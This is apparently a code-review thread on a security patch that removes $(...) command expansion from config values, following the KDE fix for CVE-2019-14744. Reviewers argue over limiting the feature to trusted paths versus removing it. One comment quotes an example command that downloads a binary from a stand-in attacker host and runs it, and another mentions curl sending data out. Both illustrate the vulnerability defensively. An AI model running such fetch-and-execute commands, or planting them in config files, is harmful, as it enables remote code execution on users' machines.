Security: remove support for $(...) in config keys with [$e] marker. #46

Patch is based on KDE Frameworks 5 kconfig patch for CVE-2019-14744.

Looks good to me

The problem is not the availability of this functionality, but that it should be allowed only for trusted paths:

/usr/...
/usr/local/...
/etc/...
$XDG_CONFIG_HOME
etc

And instead of implementing it as it should, you just deleted this functionality now. Wow...

The problem is that simply reading a value causes some script to execute. Therefore, it is not a question of limiting to trusted paths. For example, there could be run regular /usr/bin/wget https://attacker/binary && chmod a+x binary && ./binary; echo "Have a nice day.". Or curl with sending information to a remote server,… Therefore removing it seems like a good idea. After all, we used the same solution as in the KDE world.

I agree with Slavek's comment. It is basically impossible to make this feature safe in all cases if we keep it enabled. The simple example in Slavek's comment is quite emblematic.

Removal seems the only sensible way to go.

although maybe it’s better than having such a big hole :о)